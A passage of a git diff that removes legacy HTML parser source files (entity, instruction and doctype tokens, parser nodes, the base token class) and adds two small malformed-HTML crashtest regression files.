-
-CEntityToken::CEntityToken()
- : CHTMLToken(eHTMLTag_entity)
-{
-}
-
-CEntityToken::CEntityToken(const nsAString& aName)
- : CHTMLToken(eHTMLTag_entity)
-{
- mTextValue.Assign(aName);
-}
-
-
-/*
- * Consume the rest of the entity. We've already eaten the "&".
- *
- * @param aChar -- last char consumed from stream
- * @param aScanner -- controller of underlying input source
- * @return error result
- */
-nsresult
-CEntityToken::Consume(PRUnichar aChar, nsScanner& aScanner, int32_t aFlag)
-{
- nsresult result = ConsumeEntity(aChar, mTextValue, aScanner);
- return result;
-}
-
-int32_t
-CEntityToken::GetTokenType()
-{
- return eToken_entity;
-}
-
-/*
- * This general purpose method is used when you want to
- * consume an entity &xxxx;. Keep in mind that entities
- * are <i>not</i> reduced inline.
- *
- * @param aChar -- last char consumed from stream
- * @param aScanner -- controller of underlying input source
- * @return error result
- */
-nsresult
-CEntityToken::ConsumeEntity(PRUnichar aChar,
- nsString& aString,
- nsScanner& aScanner)
-{
- nsresult result = NS_OK;
- if (kLeftBrace == aChar) {
- // You're consuming a script entity...
- aScanner.GetChar(aChar); // Consume &
-
- int32_t rightBraceCount = 0;
- int32_t leftBraceCount = 0;
-
- do {
- result = aScanner.GetChar(aChar);
-
- if (NS_FAILED(result)) {
- return result;
- }
-
- aString.Append(aChar);
- if (aChar == kRightBrace) {
- ++rightBraceCount;
- } else if (aChar == kLeftBrace) {
- ++leftBraceCount;
- }
- } while (leftBraceCount != rightBraceCount);
- } else {
- PRUnichar theChar = 0;
- if (kHashsign == aChar) {
- result = aScanner.Peek(theChar, 2);
-
- if (NS_FAILED(result)) {
- if (kEOF == result && !aScanner.IsIncremental()) {
- // If this is the last buffer then we are certainly
- // not dealing with an entity. That's, there are
- // no more characters after &#. Bug 188278.
- return NS_HTMLTOKENS_NOT_AN_ENTITY;
- }
- return result;
- }
-
- if (nsCRT::IsAsciiDigit(theChar)) {
- aScanner.GetChar(aChar); // Consume &
- aScanner.GetChar(aChar); // Consume #
- aString.Assign(aChar);
- result = aScanner.ReadNumber(aString, 10);
- } else if (theChar == 'x' || theChar == 'X') {
- aScanner.GetChar(aChar); // Consume &
- aScanner.GetChar(aChar); // Consume #
- aScanner.GetChar(theChar); // Consume x
- aString.Assign(aChar);
- aString.Append(theChar);
- result = aScanner.ReadNumber(aString, 16);
- } else {
- return NS_HTMLTOKENS_NOT_AN_ENTITY;
- }
- } else {
- result = aScanner.Peek(theChar, 1);
-
- if (NS_FAILED(result)) {
- return result;
- }
-
- if (nsCRT::IsAsciiAlpha(theChar) ||
- theChar == '_' ||
- theChar == ':') {
- aScanner.GetChar(aChar); // Consume &
- result = aScanner.ReadEntityIdentifier(aString);
- } else {
- return NS_HTMLTOKENS_NOT_AN_ENTITY;
- }
- }
- }
-
- if (NS_FAILED(result)) {
- return result;
- }
-
- result = aScanner.Peek(aChar);
-
- if (NS_FAILED(result)) {
- return result;
- }
-
- if (aChar == kSemicolon) {
- // Consume semicolon that stopped the scan
- aString.Append(aChar);
- result = aScanner.GetChar(aChar);
- }
-
- return result;
-}
-
-/**
- * Map some illegal but commonly used numeric entities into their
- * appropriate unicode value.
- */
-#define NOT_USED 0xfffd
-
-static const uint16_t PA_HackTable[] = {
- 0x20ac, /* EURO SIGN */
- NOT_USED,
- 0x201a, /* SINGLE LOW-9 QUOTATION MARK */
- 0x0192, /* LATIN SMALL LETTER F WITH HOOK */
- 0x201e, /* DOUBLE LOW-9 QUOTATION MARK */
- 0x2026, /* HORIZONTAL ELLIPSIS */
- 0x2020, /* DAGGER */
- 0x2021, /* DOUBLE DAGGER */
- 0x02c6, /* MODIFIER LETTER CIRCUMFLEX ACCENT */
- 0x2030, /* PER MILLE SIGN */
- 0x0160, /* LATIN CAPITAL LETTER S WITH CARON */
- 0x2039, /* SINGLE LEFT-POINTING ANGLE QUOTATION MARK */
- 0x0152, /* LATIN CAPITAL LIGATURE OE */
- NOT_USED,
- 0x017D, /* LATIN CAPITAL LETTER Z WITH CARON */
- NOT_USED,
- NOT_USED,
- 0x2018, /* LEFT SINGLE QUOTATION MARK */
- 0x2019, /* RIGHT SINGLE QUOTATION MARK */
- 0x201c, /* LEFT DOUBLE QUOTATION MARK */
- 0x201d, /* RIGHT DOUBLE QUOTATION MARK */
- 0x2022, /* BULLET */
- 0x2013, /* EN DASH */
- 0x2014, /* EM DASH */
- 0x02dc, /* SMALL TILDE */
- 0x2122, /* TRADE MARK SIGN */
- 0x0161, /* LATIN SMALL LETTER S WITH CARON */
- 0x203a, /* SINGLE RIGHT-POINTING ANGLE QUOTATION MARK */
- 0x0153, /* LATIN SMALL LIGATURE OE */
- NOT_USED,
- 0x017E, /* LATIN SMALL LETTER Z WITH CARON */
- 0x0178 /* LATIN CAPITAL LETTER Y WITH DIAERESIS */
-};
-
-static void
-AppendNCR(nsSubstring& aString, int32_t aNCRValue)
-{
- /* For some illegal, but popular usage */
- if (aNCRValue >= 0x0080 && aNCRValue <= 0x009f) {
- aNCRValue = PA_HackTable[aNCRValue - 0x0080];
- }
-
- AppendUCS4ToUTF16(ENSURE_VALID_CHAR(aNCRValue), aString);
-}
-
-/*
- * This method converts this entity into its underlying
- * unicode equivalent.
- *
- * @param aString will hold the resulting string value
- * @return numeric (unichar) value
- */
-int32_t
-CEntityToken::TranslateToUnicodeStr(nsString& aString)
-{
- int32_t value = 0;
-
- if (mTextValue.Length() > 1) {
- PRUnichar theChar0 = mTextValue.CharAt(0);
-
- if (kHashsign == theChar0) {
- nsresult err = NS_OK;
-
- value = mTextValue.ToInteger(&err, kAutoDetect);
-
- if (NS_SUCCEEDED(err)) {
- AppendNCR(aString, value);
- }
- } else {
- value = nsHTMLEntities::EntityToUnicode(mTextValue);
- if (-1 < value) {
- // We found a named entity...
- aString.Assign(PRUnichar(value));
- }
- }
- }
-
- return value;
-}
-
-
-const
-nsSubstring& CEntityToken::GetStringValue()
-{
- return mTextValue;
-}
-
-void
-CEntityToken::GetSource(nsString& anOutputString)
-{
- anOutputString.AppendLiteral("&");
- anOutputString += mTextValue;
- // Any possible ; is part of our text value.
-}
-
-void
-CEntityToken::AppendSourceTo(nsAString& anOutputString)
-{
- anOutputString.AppendLiteral("&");
- anOutputString += mTextValue;
- // Any possible ; is part of our text value.
-}
-
-const PRUnichar*
-GetTagName(int32_t aTag)
-{
- const PRUnichar *result = nsHTMLTags::GetStringValue((nsHTMLTag) aTag);
-
- if (result) {
- return result;
- }
-
- if (aTag >= eHTMLTag_userdefined) {
- return sUserdefined;
- }
-
- return 0;
-}
-
-
-CInstructionToken::CInstructionToken()
- : CHTMLToken(eHTMLTag_instruction)
-{
-}
-
-CInstructionToken::CInstructionToken(const nsAString& aString)
- : CHTMLToken(eHTMLTag_unknown)
-{
- mTextValue.Assign(aString);
-}
-
-nsresult
-CInstructionToken::Consume(PRUnichar aChar, nsScanner& aScanner, int32_t aFlag)
-{
- mTextValue.AssignLiteral("<?");
- nsresult result = NS_OK;
- bool done = false;
-
- while (NS_OK == result && !done) {
- // Note, this call does *not* consume the >.
- result = aScanner.ReadUntil(mTextValue, kGreaterThan, false);
- if (NS_SUCCEEDED(result)) {
- // In HTML, PIs end with a '>', in XML, they end with a '?>'. Cover both
- // cases here.
- if (!(aFlag & NS_IPARSER_FLAG_XML) ||
- kQuestionMark == mTextValue.Last()) {
- // This really is the end of the PI.
- done = true;
- }
- // Need to append this character no matter what.
- aScanner.GetChar(aChar);
- mTextValue.Append(aChar);
- }
- }
-
- if (kEOF == result && !aScanner.IsIncremental()) {
- // Hide the EOF result because there is no more text coming.
- mInError = true;
- result = NS_OK;
- }
-
- return result;
-}
-
-int32_t
-CInstructionToken::GetTokenType()
-{
- return eToken_instruction;
-}
-
-const nsSubstring&
-CInstructionToken::GetStringValue()
-{
- return mTextValue;
-}
-
-// Doctype decl token
-
-CDoctypeDeclToken::CDoctypeDeclToken(eHTMLTags aTag)
- : CHTMLToken(aTag)
-{
-}
-
-CDoctypeDeclToken::CDoctypeDeclToken(const nsAString& aString, eHTMLTags aTag)
- : CHTMLToken(aTag), mTextValue(aString)
-{
-}
-
-/**
- * This method consumes a doctype element.
- * Note: I'm rewriting this method to seek to the first <, since quotes can
- * really screw us up.
- * XXX Maybe this should do better in XML or strict mode?
- */
-nsresult
-CDoctypeDeclToken::Consume(PRUnichar aChar, nsScanner& aScanner, int32_t aFlag)
-{
- static const PRUnichar terminalChars[] =
- { PRUnichar('>'), PRUnichar('<'),
- PRUnichar(0)
- };
- static const nsReadEndCondition theEndCondition(terminalChars);
-
- nsScannerIterator start, end;
-
- aScanner.CurrentPosition(start);
- aScanner.EndReading(end);
-
- nsresult result = aScanner.ReadUntil(start, end, theEndCondition, false);
-
- if (NS_SUCCEEDED(result)) {
- PRUnichar ch;
- aScanner.Peek(ch);
- if (ch == kGreaterThan) {
- // Include '>' but not '<' since '<'
- // could belong to another tag.
- aScanner.GetChar(ch);
- end.advance(1);
- } else {
- NS_ASSERTION(kLessThan == ch,
- "Make sure this doctype decl. is really in error.");
- mInError = true;
- }
- } else if (!aScanner.IsIncremental()) {
- // We have reached the document end but haven't
- // found either a '<' or a '>'. Therefore use
- // whatever we have.
- mInError = true;
- result = NS_OK;
- }
-
- if (NS_SUCCEEDED(result)) {
- start.advance(-2); // Make sure to consume <!
- CopyUnicodeTo(start, end, mTextValue);
- }
-
- return result;
-}
-
-int32_t
-CDoctypeDeclToken::GetTokenType()
-{
- return eToken_doctypeDecl;
-}
-
-const nsSubstring&
-CDoctypeDeclToken::GetStringValue()
-{
- return mTextValue;
-}
-
-void
-CDoctypeDeclToken::SetStringValue(const nsAString& aStr)
-{
- mTextValue.Assign(aStr);
-}
diff --git a/parser/htmlparser/src/nsParserNode.cpp b/parser/htmlparser/src/nsParserNode.cpp
deleted file mode 100644
index 9f999a764..000000000
--- a/parser/htmlparser/src/nsParserNode.cpp
+++ /dev/null
@@ -1,370 +0,0 @@
-/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
-/* This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-
-
-#include "nsIAtom.h"
-#include "nsParserNode.h"
-#include <string.h>
-#include "nsHTMLTokens.h"
-#include "nsITokenizer.h"
-#include "nsDTDUtils.h"
-
-
-/**
- * Default Constructor
- */
-nsCParserNode::nsCParserNode()
- : mRefCnt(0), mGenericState(false), mUseCount(0), mToken(nullptr),
- mTokenAllocator(nullptr)
-{
- MOZ_COUNT_CTOR(nsCParserNode);
-#ifdef HEAP_ALLOCATED_NODES
- mNodeAllocator = nullptr;
-#endif
-}
-
-/**
- * Constructor
- *
- * @update gess 3/25/98
- * @param aToken -- token to init internal token
- * @return
- */
-nsCParserNode::nsCParserNode(CToken* aToken,
- nsTokenAllocator* aTokenAllocator,
- nsNodeAllocator* aNodeAllocator)
- : mRefCnt(0), mGenericState(false), mUseCount(0), mToken(aToken),
- mTokenAllocator(aTokenAllocator)
-{
- MOZ_COUNT_CTOR(nsCParserNode);
-
- static int theNodeCount = 0;
- ++theNodeCount;
- if (mTokenAllocator) {
- IF_HOLD(mToken);
- } // Else a stack-based token
-
-#ifdef HEAP_ALLOCATED_NODES
- mNodeAllocator = aNodeAllocator;
-#endif
-}
-
-/**
- * destructor
- * NOTE: We intentionally DON'T recycle mToken here.
- * It may get cached for use elsewhere
- * @update gess 3/25/98
- * @param
- * @return
- */
-nsCParserNode::~nsCParserNode() {
- MOZ_COUNT_DTOR(nsCParserNode);
- ReleaseAll();
-#ifdef HEAP_ALLOCATED_NODES
- if(mNodeAllocator) {
- mNodeAllocator->Recycle(this);
- }
- mNodeAllocator = nullptr;
-#endif
- mTokenAllocator = 0;
-}
-
-
-/**
- * Init
- *
- * @update gess 3/25/98
- * @param
- * @return
- */
-
-nsresult
-nsCParserNode::Init(CToken* aToken,
- nsTokenAllocator* aTokenAllocator,
- nsNodeAllocator* aNodeAllocator)
-{
- mTokenAllocator = aTokenAllocator;
- mToken = aToken;
- if (mTokenAllocator) {
- IF_HOLD(mToken);
- } // Else a stack-based token
- mGenericState = false;
- mUseCount=0;
-#ifdef HEAP_ALLOCATED_NODES
- mNodeAllocator = aNodeAllocator;
-#endif
- return NS_OK;
-}
-
-void
-nsCParserNode::AddAttribute(CToken* aToken)
-{
-}
-
-
-/**
- * Gets the name of this node. Currently unused.
- *
- * @update gess 3/25/98
- * @param
- * @return string ref containing node name
- */
-const nsAString&
-nsCParserNode::GetTagName() const {
- return EmptyString();
-}
-
-
-/**
- * Get text value of this node, which translates into
- * getting the text value of the underlying token
- *
- * @update gess 3/25/98
- * @param
- * @return string ref of text from internal token
- */
-const nsAString&
-nsCParserNode::GetText() const
-{
- if (mToken) {
- return mToken->GetStringValue();
- }
- return EmptyString();
-}
-
-/**
- * Get node type, meaning, get the tag type of the
- * underlying token
- *
- * @update gess 3/25/98
- * @param
- * @return int value that represents tag type
- */
-int32_t
-nsCParserNode::GetNodeType(void) const
-{
- return (mToken) ? mToken->GetTypeID() : 0;
-}
-
-
-/**
- * Gets the token type, which corresponds to a value from
- * eHTMLTokens_xxx.
- *
- * @update gess 3/25/98
- * @param
- * @return
- */
-int32_t
-nsCParserNode::GetTokenType(void) const
-{
- return (mToken) ? mToken->GetTokenType() : 0;
-}
-
-
-/**
- * Retrieve the number of attributes on this node
- *
- * @update gess 3/25/98
- * @param
- * @return int -- representing attribute count
- */
-int32_t
-nsCParserNode::GetAttributeCount(bool askToken) const
-{
- return 0;
-}
-
-/**
- * Retrieve the string rep of the attribute key at the
- * given index.
- *
- * @update gess 3/25/98
- * @param anIndex-- offset of attribute to retrieve
- * @return string rep of given attribute text key
- */
-const nsAString&
-nsCParserNode::GetKeyAt(uint32_t anIndex) const
-{
- return EmptyString();
-}
-
-
-/**
- * Retrieve the string rep of the attribute at given offset
- *
- * @update gess 3/25/98
- * @param anIndex-- offset of attribute to retrieve
- * @return string rep of given attribute text value
- */
-const nsAString&
-nsCParserNode::GetValueAt(uint32_t anIndex) const
-{
- return EmptyString();
-}
-
-int32_t
-nsCParserNode::TranslateToUnicodeStr(nsString& aString) const
-{
- if (eToken_entity == mToken->GetTokenType()) {
- return ((CEntityToken*)mToken)->TranslateToUnicodeStr(aString);
- }
- return -1;
-}
-
-/**
- * This getter retrieves the line number from the input source where
- * the token occurred. Lines are interpreted as occurring between \n characters.
- * @update gess7/24/98
- * @return int containing the line number the token was found on
- */
-int32_t
-nsCParserNode::GetSourceLineNumber(void) const {
- return mToken ? mToken->GetLineNumber() : 0;
-}
-
-/**
- * This method pop the attribute token
- * @update harishd 03/25/99
- * @return token at anIndex
- */
-
-CToken*
-nsCParserNode::PopAttributeToken() {
- return 0;
-}
-
-CToken*
-nsCParserNode::PopAttributeTokenFront() {
- return 0;
-}
-
-/** Retrieve a string containing the tag and its attributes in "source" form
- * @update rickg 06June2000
- * @return void
- */
-void
-nsCParserNode::GetSource(nsString& aString) const
-{
- eHTMLTags theTag = mToken ? (eHTMLTags)mToken->GetTypeID() : eHTMLTag_unknown;
- aString.Assign(PRUnichar('<'));
- const PRUnichar* theTagName = nsHTMLTags::GetStringValue(theTag);
- if(theTagName) {
- aString.Append(theTagName);
- }
- aString.Append(PRUnichar('>'));
-}
-
-/** Release all the objects you're holding to.
- * @update harishd 08/02/00
- * @return void
- */
-nsresult
-nsCParserNode::ReleaseAll()
-{
- if(mTokenAllocator) {
- IF_FREE(mToken,mTokenAllocator);
- }
- return NS_OK;
-}
-
-nsresult
-nsCParserStartNode::Init(CToken* aToken,
- nsTokenAllocator* aTokenAllocator,
- nsNodeAllocator* aNodeAllocator)
-{
- NS_ASSERTION(mAttributes.GetSize() == 0, "attributes not recycled!");
- return nsCParserNode::Init(aToken, aTokenAllocator, aNodeAllocator);
-}
-
-void nsCParserStartNode::AddAttribute(CToken* aToken)
-{
- NS_ASSERTION(0 != aToken, "Error: Token shouldn't be null!");
- mAttributes.Push(aToken);
-}
-
-int32_t
-nsCParserStartNode::GetAttributeCount(bool askToken) const
-{
- int32_t result = 0;
- if (askToken) {
- result = mToken ? mToken->GetAttributeCount() : 0;
- }
- else {
- result = mAttributes.GetSize();
- }
- return result;
-}
-
-const nsAString&
-nsCParserStartNode::GetKeyAt(uint32_t anIndex) const
-{
- if ((int32_t)anIndex < mAttributes.GetSize()) {
- CAttributeToken* attr =
- static_cast<CAttributeToken*>(mAttributes.ObjectAt(anIndex));
- if (attr) {
- return attr->GetKey();
- }
- }
- return EmptyString();
-}
-
-const nsAString&
-nsCParserStartNode::GetValueAt(uint32_t anIndex) const
-{
- if (int32_t(anIndex) < mAttributes.GetSize()) {
- CAttributeToken* attr =
- static_cast<CAttributeToken*>(mAttributes.ObjectAt(anIndex));
- if (attr) {
- return attr->GetValue();
- }
- }
- return EmptyString();
-}
-
-CToken*
-nsCParserStartNode::PopAttributeToken()
-{
- return static_cast<CToken*>(mAttributes.Pop());
-}
-
-CToken*
-nsCParserStartNode::PopAttributeTokenFront()
-{
- return static_cast<CToken*>(mAttributes.PopFront());
-}
-
-void nsCParserStartNode::GetSource(nsString& aString) const
-{
- aString.Assign(PRUnichar('<'));
- const PRUnichar* theTagName =
- nsHTMLTags::GetStringValue(nsHTMLTag(mToken->GetTypeID()));
- if (theTagName) {
- aString.Append(theTagName);
- }
- int32_t index;
- int32_t size = mAttributes.GetSize();
- for (index = 0 ; index < size; ++index) {
- CAttributeToken *theToken =
- static_cast<CAttributeToken*>(mAttributes.ObjectAt(index));
- if (theToken) {
- theToken->AppendSourceTo(aString);
- aString.Append(PRUnichar(' ')); //this will get removed...
- }
- }
- aString.Append(PRUnichar('>'));
-}
-
-nsresult nsCParserStartNode::ReleaseAll()
-{
- NS_ASSERTION(0!=mTokenAllocator, "Error: no token allocator");
- CToken* theAttrToken;
- while ((theAttrToken = static_cast<CToken*>(mAttributes.Pop()))) {
- IF_FREE(theAttrToken, mTokenAllocator);
- }
- nsCParserNode::ReleaseAll();
- return NS_OK;
-}
-
diff --git a/parser/htmlparser/src/nsParserNode.h b/parser/htmlparser/src/nsParserNode.h
deleted file mode 100644
index 23fe3cec9..000000000
--- a/parser/htmlparser/src/nsParserNode.h
+++ /dev/null
@@ -1,296 +0,0 @@
-/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
-/* This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-
-
-/**
- * MODULE NOTES:
- * @update gess 4/1/98
- *
- * This class is defines the basic interface between the
- * parser and the content sink. The parser will iterate
- * over the collection of tokens that it sees from the
- * tokenizer, coverting each related "group" into one of
- * these. This object gets passed to the sink, and is
- * then immediately reused.
- *
- * If you want to hang onto one of these, you should
- * make your own copy.
- *
- */
-
-#ifndef NS_PARSERNODE__
-#define NS_PARSERNODE__
-
-#include "nsIParserNode.h"
-#include "nsToken.h"
-#include "nsString.h"
-#include "nsParserCIID.h"
-#include "nsDeque.h"
-#include "nsDTDUtils.h"
-
-class nsTokenAllocator;
-
-class nsCParserNode : public nsIParserNode {
-
- protected:
-
- int32_t mRefCnt;
-
- public:
-
- void AddRef()
- {
- ++mRefCnt;
- }
-
- void Release(nsDummyAllocator& aPool)
- {
- if (--mRefCnt == 0)
- Destroy(this, aPool);
- }
-
-#ifndef HEAP_ALLOCATED_NODES
- protected:
-
- /**
- * Hide operator new; clients should use Create() instead.
- */
- static void* operator new(size_t) CPP_THROW_NEW { return 0; }
-
- /**
- * Hide operator delete; clients should use Destroy() instead.
- */
- static void operator delete(void*,size_t) {}
-
-#endif
-
- public:
- static nsCParserNode* Create(CToken* aToken,
- nsTokenAllocator* aTokenAllocator,
- nsNodeAllocator* aNodeAllocator)
- {
-#ifdef HEAP_ALLOCATED_NODES
- return new
-#else
- nsDummyAllocator& pool = aNodeAllocator->GetArenaPool();
- void* place = pool.Alloc(sizeof(nsCParserNode));
- NS_ENSURE_TRUE(place, nullptr);
- return ::new (place)
-#endif
- nsCParserNode(aToken, aTokenAllocator, aNodeAllocator);
- }
-
- static void Destroy(nsCParserNode* aNode, nsDummyAllocator& aPool)
- {
-#ifdef HEAP_ALLOCATED_NODES
- delete aNode;
-#else
- aNode->~nsCParserNode();
- aPool.Free(aNode);
-#endif
- }
-
- /**
- * Default constructor
- */
- nsCParserNode();
-
- /**
- * Constructor
- * @update gess5/11/98
- * @param aToken is the token this node "refers" to
- */
- nsCParserNode(CToken* aToken,
- nsTokenAllocator* aTokenAllocator,
- nsNodeAllocator* aNodeAllocator=0);
-
- /**
- * Destructor
- * @update gess5/11/98
- */
- virtual ~nsCParserNode();
-
- /**
- * Init
- * @update gess5/11/98
- */
- virtual nsresult Init(CToken* aToken,
- nsTokenAllocator* aTokenAllocator,
- nsNodeAllocator* aNodeAllocator=0);
-
- /**
- * Retrieve the name of the node
- * @update gess5/11/98
- * @return string containing node name
- */
- virtual const nsAString& GetTagName() const;
-
- /**
- * Retrieve the text from the given node
- * @update gess5/11/98
- * @return string containing node text
- */
- virtual const nsAString& GetText() const;
-
- /**
- * Retrieve the type of the parser node.
- * @update gess5/11/98
- * @return node type.
- */
- virtual int32_t GetNodeType() const;
-
- /**
- * Retrieve token type of parser node
- * @update gess5/11/98
- * @return token type
- */
- virtual int32_t GetTokenType() const;
-
-
- //***************************************
- //methods for accessing key/value pairs
- //***************************************
-
- /**
- * Retrieve the number of attributes in this node.
- * @update gess5/11/98
- * @return count of attributes (may be 0)
- */
- virtual int32_t GetAttributeCount(bool askToken=false) const;
-
- /**
- * Retrieve the key (of key/value pair) at given index
- * @update gess5/11/98
- * @param anIndex is the index of the key you want
- * @return string containing key.
- */
- virtual const nsAString& GetKeyAt(uint32_t anIndex) const;
-
- /**
- * Retrieve the value (of key/value pair) at given index
- * @update gess5/11/98
- * @param anIndex is the index of the value you want
- * @return string containing value.
- */
- virtual const nsAString& GetValueAt(uint32_t anIndex) const;
-
- /**
- * NOTE: When the node is an entity, this will translate the entity
- * to it's unicode value, and store it in aString.
- * @update gess5/11/98
- * @param aString will contain the resulting unicode string value
- * @return int (unicode char or unicode index from table)
- */
- virtual int32_t TranslateToUnicodeStr(nsString& aString) const;
-
- /**
- *
- * @update gess5/11/98
- * @param
- * @return
- */
- virtual void AddAttribute(CToken* aToken);
-
- /**
- * This getter retrieves the line number from the input source where
- * the token occurred. Lines are interpreted as occurring between \n characters.
- * @update gess7/24/98
- * @return int containing the line number the token was found on
- */
- virtual int32_t GetSourceLineNumber(void) const;
-
- /** This method pop the attribute token from the given index
- * @update harishd 03/25/99
- * @return token at anIndex
- */
- virtual CToken* PopAttributeToken();
-
- /** Like PopAttributeToken, but pops off the front of the attribute list */
- virtual CToken* PopAttributeTokenFront();
-
- /** Retrieve a string containing the tag and its attributes in "source" form
- * @update rickg 06June2000
- * @return void
- */
- virtual void GetSource(nsString& aString) const;
-
- /**
- * This pair of methods allows us to set a generic bit (for arbitrary use)
- * on each node stored in the context.
- * @update gess 11May2000
- */
- virtual bool GetGenericState(void) const {return mGenericState;}
- virtual void SetGenericState(bool aState) {mGenericState=aState;}
-
- /** Release all the objects you're holding
- * @update harishd 08/02/00
- * @return void
- */
- virtual nsresult ReleaseAll();
-
- bool mGenericState;
- int32_t mUseCount;
- CToken* mToken;
-
- nsTokenAllocator* mTokenAllocator;
-#ifdef HEAP_ALLOCATED_NODES
- nsNodeAllocator* mNodeAllocator; // weak
-#endif
-};
-
-
-class nsCParserStartNode : public nsCParserNode
-{
-public:
- static nsCParserNode* Create(CToken* aToken,
- nsTokenAllocator* aTokenAllocator,
- nsNodeAllocator* aNodeAllocator)
- {
-#ifdef HEAP_ALLOCATED_NODES
- return new
-#else
- nsDummyAllocator& pool = aNodeAllocator->GetArenaPool();
- void* place = pool.Alloc(sizeof(nsCParserStartNode));
- NS_ENSURE_TRUE(place, nullptr);
- return ::new (place)
-#endif
- nsCParserStartNode(aToken, aTokenAllocator, aNodeAllocator);
- }
-
- nsCParserStartNode()
- : nsCParserNode(), mAttributes(0) { }
-
- nsCParserStartNode(CToken* aToken,
- nsTokenAllocator* aTokenAllocator,
- nsNodeAllocator* aNodeAllocator = 0)
- : nsCParserNode(aToken, aTokenAllocator, aNodeAllocator), mAttributes(0) { }
-
- virtual ~nsCParserStartNode()
- {
- NS_ASSERTION(mTokenAllocator || mAttributes.GetSize() == 0,
- "Error: no token allocator");
- CToken* theAttrToken = 0;
- while ((theAttrToken = static_cast<CToken*>(mAttributes.Pop()))) {
- IF_FREE(theAttrToken, mTokenAllocator);
- }
- }
-
- virtual nsresult Init(CToken* aToken,
- nsTokenAllocator* aTokenAllocator,
- nsNodeAllocator* aNodeAllocator = 0);
- virtual void AddAttribute(CToken* aToken);
- virtual int32_t GetAttributeCount(bool askToken = false) const;
- virtual const nsAString& GetKeyAt(uint32_t anIndex) const;
- virtual const nsAString& GetValueAt(uint32_t anIndex) const;
- virtual CToken* PopAttributeToken();
- virtual CToken* PopAttributeTokenFront();
- virtual void GetSource(nsString& aString) const;
- virtual nsresult ReleaseAll();
-protected:
- nsDeque mAttributes;
-};
-
-#endif
-
diff --git a/parser/htmlparser/src/nsToken.cpp b/parser/htmlparser/src/nsToken.cpp
deleted file mode 100644
index 421e42a98..000000000
--- a/parser/htmlparser/src/nsToken.cpp
+++ /dev/null
@@ -1,137 +0,0 @@
-/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
-/* This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-
-#include "nsToken.h"
-#include "nsScanner.h"
-
-static int TokenCount=0;
-static int DelTokenCount=0;
-
-int CToken::GetTokenCount() {
- return TokenCount-DelTokenCount;
-}
-
-
-/**************************************************************
- And now for the CToken...
- **************************************************************/
-
-/**
- * Default constructor
- *
- * @update gess 7/21/98
- */
-CToken::CToken(int32_t aTag) {
- mAttrCount=0;
- mNewlineCount=0;
- mLineNumber = 0;
- mInError = false;
- mTypeID=aTag;
- // Note that the use count starts with 1 instead of 0. This
- // is because of the assumption that any token created is in
- // use and therefore does not require an explicit addref, or
- // rather IF_HOLD. This, also, will make sure that tokens created
- // on the stack do not accidently hit the arena recycler.
- mUseCount=1;
- NS_LOG_ADDREF(this, 1, "CToken", sizeof(*this));
-
-#ifdef DEBUG
- ++TokenCount;
-#endif
-}
-
-/**
- * Decstructor
- *
- * @update gess 3/25/98
- */
-CToken::~CToken() {
- ++DelTokenCount;
-#ifdef NS_BUILD_REFCNT_LOGGING
- if (mUseCount == 1) {
- // Stack token
- NS_LOG_RELEASE(this, 0, "CToken");
- }
-#endif
- mUseCount=0;
-}
-
-
-/**
- * Virtual method used to tell this toke to consume his
- * valid chars.
- *
- * @update gess 3/25/98
- * @param aChar -- first char in sequence
- * @param aScanner -- object to retrieve data from
- * @return int error code
- */
-nsresult CToken::Consume(PRUnichar aChar,nsScanner& aScanner,int32_t aMode) {
- nsresult result=NS_OK;
- return result;
-}
-
-/**
- * Get string of full contents, suitable for debug dump.
- * It should look exactly like the input source.
- * @update gess5/11/98
- * @return reference to string containing string value
- */
-void CToken::GetSource(nsString& anOutputString) {
- anOutputString.Assign(GetStringValue());
-}
-
-/**
- * @update harishd 3/23/00
- * @return reference to string containing string value
- */
-void CToken::AppendSourceTo(nsAString& anOutputString) {
- anOutputString.Append(GetStringValue());
-}
-
-/**
- * Retrieves copy of internal ordinal value.
- * This method is deprecated, and will soon be going away.
- *
- * @update gess 3/25/98
- * @return int containing ordinal value
- */
-int32_t CToken::GetTypeID(void) {
- return mTypeID;
-}
-
-/**
- * Retrieves copy of attr count for this token
- *
- * @update gess 3/25/98
- * @return int containing attribute count
- */
-int16_t CToken::GetAttributeCount(void) {
- return mAttrCount;
-}
-
-
-/**
- * Retrieve type of token. This class returns -1, but
- * subclasses return something more meaningful.
- *
- * @update gess 3/25/98
- * @return int value containing token type.
- */
-int32_t CToken::GetTokenType(void) {
- return -1;
-}
-
-
-/**
- *
- * @update gess 3/25/98
- */
-void CToken::SelfTest(void) {
-#ifdef _DEBUG
-#endif
-}
-
-
diff --git a/parser/htmlparser/tests/crashtests/981279-1.html b/parser/htmlparser/tests/crashtests/981279-1.html
new file mode 100644
index 000000000..5f14c8af3
--- /dev/null
+++ b/parser/htmlparser/tests/crashtests/981279-1.html
@@ -0,0 +1,15 @@
+<!DOCTYPE html>
+<html>
+<head>
+<meta charset=utf-8>
+</head>
+<body>
+<div></div>
+<script>
+var div = document.getElementsByTagName("div")[0];
+div.innerHTML = "<div À Á Â Ã Ä Å ";
+div.innerHTML = "<div a>";
+</script>
+</body>
+</html>
+
diff --git a/parser/htmlparser/tests/crashtests/982285-1.html b/parser/htmlparser/tests/crashtests/982285-1.html
new file mode 100644
index 000000000..d3e124d95
--- /dev/null
+++ b/parser/htmlparser/tests/crashtests/982285-1.html
@@ -0,0 +1,19 @@
+<q>
+<u>
+<pre>
+<pre>
+<center>
+<em>
+<center>
+<center>
+</rp>
+<address>
+<address>
+<address>
+</rt>
+<q>
+<q>
+<rt>
+</u>
+<pre>
+</em>
diff --git a/parser/htmlparser/tests/crashtests/crashtests.list b/parser/htmlparser/tests/crashtests/crashtests.list
index 410abfa77..93f818288 100644
--- a/parser/htmlparser/tests/crashtests/crashtests.list
+++ b/parser/htmlparser/tests/crashtests/crashtests.list
@@ -30,7 +30,7 @@ load 269095-1.html
load 286733-1.html
load 286733-2.html
load 299036-1.html
